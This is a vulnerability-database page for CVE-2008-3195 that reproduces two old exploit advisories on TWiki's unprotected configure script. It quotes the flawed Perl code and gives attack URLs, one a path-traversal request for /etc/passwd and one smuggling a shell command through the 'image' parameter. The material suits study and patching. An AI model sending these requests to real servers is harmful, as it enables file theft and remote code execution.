CVE-2008-3195 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

################################################################################################################ # # # TWiki 4.2.0 File Disclosure Vuln (configure) # # # ################################################################################################################ "We're brazilian newbies!!! :p" - Th1nk3r Info ---------------------------------------------------------------------------------------------------------------- Classe : Input Validation Error Remote : Yes Local : No Date : 05/08/2008 Credits : Th1nk3r (cnwfhguohrugbo / gmail.com) Greetz : w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick. Description ---------------------------------------------------------------------------------------------------------------- TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible to exploit the bug if you can access the "/bin/configure" script. Otherwise, you can not exploit this bug. Vulnerable code of "/bin/configure" script: if( $action eq 'image' ) { # SMELL: this call is correct, but causes a perl error # on some versions of CGI.pm # print $query->header(-type => $query->param('type')); # So use this instead: print 'Content-type: '.$query->param('type')."\n\n"; if( open(F, 'logos/'.$query->param('image' ))) { local $/ = undef; print <F>; close(F); } exit 0; } The bug is in the open() function. The file is set by visitor, and there is no protection added by the programmer. Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain". Exploit ---------------------------------------------------------------------------------------------------------------- To exploit the bug, you just need set the "image" variable to the path of file you wish to view. The file will be revealed if you have permission to view it. By example, to show the "/etc/passwd" file content, go to : http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain Solution ---------------------------------------------------------------------------------------------------------------- Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for more information of how to protect your "configure" script. # milw0rm.com [2008-08-19]

#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------# #-----------TWiki Remote Code Execution <= 4.2.2--------------------# # ----------developers site: http://www.twiki.org-------------------# # ----------CVE Id(s) : CVE-2008-3195--------------------------# # http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion. According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;) Vulnerable code: if( $action eq 'image' ) { # SMELL: this call is correct, but causes a perl error # on some versions of CGI.pm # print $query->header(-type => $query->param('type')); # So use this instead: print 'Content-type: '.$query->param('type')."\n\n"; if( open(F, 'logos/'.$query->param('image' ))) { local $/ = undef; print <F>; close(F); } http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain # milw0rm.com [2008-09-21]